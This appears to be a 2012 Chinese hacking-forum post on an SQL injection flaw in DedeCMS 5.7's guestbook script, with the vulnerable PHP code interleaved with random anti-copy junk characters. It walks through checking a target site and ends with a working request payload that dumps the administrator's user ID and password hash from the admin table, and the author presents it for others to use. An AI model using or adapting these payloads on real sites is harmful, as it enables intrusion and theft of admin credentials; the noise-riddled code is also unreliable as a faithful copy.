找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4280|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7% x! K+ H* e% w% M4 t3 F" E

" M+ J3 d/ A2 s漏洞文件edit.inc.php具体代码:- ?" q' @6 x+ ^  v

$ a# ^/ X. S% B' p. E( B< ?php  ( s$ c+ S8 T) }' C& W
0 a- X  t4 }$ j* d" I
if(!defined('DEDEINC')) exit('Request Error!');  
  s4 n: V* i' {7 u! i+ r8 v# Y) z7 }( `4 g
   " u. i% |9 k- Z3 N

& Z/ b5 C0 g+ _7 i$ W( b! R/ Dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  & J4 K3 K$ B* C: t" l" h
7 X& B# }$ y0 m2 B
else $GUEST_BOOK_POS = "guestbook.php";  $ w( e, g! d# E( {) H6 b& }

9 r, E( M  c* N5 U   9 j. r4 ^- I8 Y3 W

9 k' Z) {6 l- G. N& ^' D: f$id = intval($id);  
! p& ^$ a1 b+ C* a0 M' b$ C7 d& m+ p# D8 K: S
if(empty($job)) $job='view';  
2 k/ o6 q8 `/ [) w, N# I$ b$ t4 @6 _1 k7 ^: k+ J/ z
   7 i7 b0 W4 j, ]/ j+ |  M9 f

2 |2 G5 f9 n7 N) n2 ?if($job=='del' && $g_isadmin)  3 b8 l: q0 v1 a8 D  Q* d
  Y$ S3 Q* t! y) z! E
{  * k' X$ B/ J) g) j: v4 e1 n
# }/ [9 p9 Z! y, D5 L9 ?& ~$ Z, g) }
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
' s6 r& o5 \6 Q# m& t% V/ b( l" F! I
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
6 P3 ]) a6 N0 x' W1 P
+ e* V7 B5 k: O4 ]8 cexit();  3 m& T/ [; i- ?$ V
8 K6 D% A8 f9 M# l. ~# S# \0 Y" r
}  + v2 m8 R, w" J& a1 U
* f0 l7 H% ~( E) J4 X) G
else if($job=='check' && $g_isadmin)  
7 Z7 M2 K5 R& t+ W# O& t* p/ M* g, ^, U! `! c- h0 [
{  
  c# k0 N% L2 B; l: p$ o; _4 [
9 e; `' }+ J8 q6 ?1 s$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
  l' I) F) w) y+ f5 n8 v" u* S0 B6 r3 z( d5 v
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  - A' w' [, H. ~) W; E! [

" L& t( C- |! K5 \' uexit();  4 u4 B8 o3 C, O; y9 M7 r# u; M
' M/ w3 W2 K* g8 h6 `( K" o# w2 }
}    @$ i1 d$ D( A, z5 I4 t
3 K5 `6 W+ f9 o6 g
else if($job=='editok')  1 A* C! E3 U& G$ v: S

8 I3 i- i5 O" q$ t% c{  
+ B$ n7 D8 Q: W2 e7 w. L. `
( @0 v# m" J" {0 K1 M$remsg = trim($remsg);  $ p* {# t* K! I+ X0 ^2 I

* Q& n; ^5 j, h6 a& Gif($remsg!='')  
8 m% m  W' {4 v) U5 }
0 S+ ^, Z& q& m5 U" E5 V{  ' Y6 I+ K. n, k9 J, x" @) P( ~
8 G9 G5 |: d; i' i
//管理员回复不过滤HTML By:Errorera blog:errs.cc  ( e# ]! O, O2 G* I

. p0 \; x( E1 C4 C5 N" Rif($g_isadmin)  
* O# p  i) j7 X+ O( k. o& @( p+ v' J* J! F; R6 @9 \/ a% ^# p
{  $ i- @) s5 \; a$ f

3 H# G7 p- L: i% d' F8 S! o$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  0 r: m$ _8 f, t% l
4 K2 r6 g6 M+ t: f
//$remsg <br /><font color=red>管理员回复:</font> }  
& ^' Y9 x$ W, b
6 ?; ?- L% C5 v/ Nelse
. K' B9 ^& p+ @, s& X+ {) t# O8 N; Q
4 O/ c7 [. Z, q3 d  g% Q0 w* n{  
& j8 c1 _+ W8 L6 l! X2 X, K6 M% D" q6 h0 M+ p1 e- A: t3 n" H
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
' ^0 |6 `# F: F' n
: p1 T% x# s4 u. p- F4 }; L$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  # T; C# A; ?) s
# G, @8 E+ I, W7 \6 i& g3 I
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
; w: h) Y( p% ^, P) W1 D3 @: j& H% C
1 J6 t$ k4 N8 j  ?3 i3 h$msg = $oldmsg.$remsg;  * G5 B& h+ p" b! o' R* N5 ]* F8 `" {
/ T3 i7 D; F: K5 x/ E+ X  `
}  / v: f) Z$ e3 M. s( w6 w2 x$ H$ Z

" h+ {3 t9 A/ U# H9 _: k}  ! W. R$ q6 y3 v! f7 @
/ X* N) E0 Y0 E# {, c+ v2 p9 p
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
- v5 S8 _8 v* G3 p* e9 X1 E! K: Y% |( _- `5 U
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  1 ?2 q" V1 V2 Y; {5 j

8 M7 e* C3 ], R, d- B/ S. i# \ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
+ E" L% J6 f" p5 h" p* d& k% y) Q6 N
exit();  
' j5 c- J5 O+ \- H* k; ]9 U
( E1 |  v) v7 I+ j4 R( V- p( i}  3 i! K, z- u+ N" ^
' f7 G, c' N" q" N+ a; f0 f
//home:www.errs.cc  ( o: D7 S, b8 F4 @* w0 R- S

$ ]- H8 Q+ a% h! ^if($g_isadmin)  
8 A1 s7 i$ G+ E
8 o; E. T- O0 r{  5 M, r2 O! p% N& I

* `5 Y. V0 V0 A! G( h" g$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
' @. x8 S2 D3 K0 a& u: N4 e& W  t! x6 U. n& g
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ; X, r! Z% l4 g7 w' @) ?5 c

' B6 v9 S3 s8 K0 T}  
: |4 i# H2 ?5 @, n( s# ^) D4 I0 X2 h  ?% [' u
else , q0 s* Q, t7 k% d8 ?
  J/ O2 O4 ?6 S0 j3 |
{  
$ \  O7 F4 r: S
9 S5 f$ E& J1 |( }( {+ U4 }$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ; `* @% J8 C0 Q6 O, w# m

; H: S/ f3 g/ ?: Mrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  $ g7 f' s& s9 }% T$ O+ O4 B+ W, \! h

2 n7 w+ I6 o! P$ o1 s5 B} 漏洞成功需要条件:! O0 ~' ~* t$ D6 G0 T5 c
1. php magic_quotes_gpc=off/ v# }. W- V# ^4 ~6 U
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。( X9 V' P4 X7 y7 D' \1 y

* Y2 i+ c* P: }8 ~2 j怎么判断是否存在漏洞:/ A$ g7 y7 s: \9 H2 k% g
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,' a7 R+ |1 ^) z) B: s! L
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
  G$ D7 w; q! f: Z) b/ C访问:+ R1 u, ~: ~7 ?" S) S) c1 c# I
& ^+ }2 y! ?, ?4 Q
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 J" t) H/ E) B6 c2 B, T- ~. u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证9 F/ b$ b( ?: e

* M5 p2 _7 t1 r0 e5 u, T$ P0 j& V1 B* r% n" m8 }3 c5 s
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: L6 q$ T1 j/ t- n3 I; O  w
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。4 q3 j. @7 ^& \$ I: B! [
那么再次访问
+ U, T2 x6 m- u1 N* L' O2 m; S) A" u8 h) W
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
2 k% F7 ~1 k8 q! h- `6 F6 _
) W! t+ \7 a8 D3 k& o) ?7 h& G大概利用就是这样,大家有兴趣的多研究下!!
# n+ o; A. o" ?' E
& u' b6 ~: l9 E. h% c- ^- G- i最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
. W2 B0 i  `6 A' c# w+ l& ]
. Q: w0 }/ }- Mview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表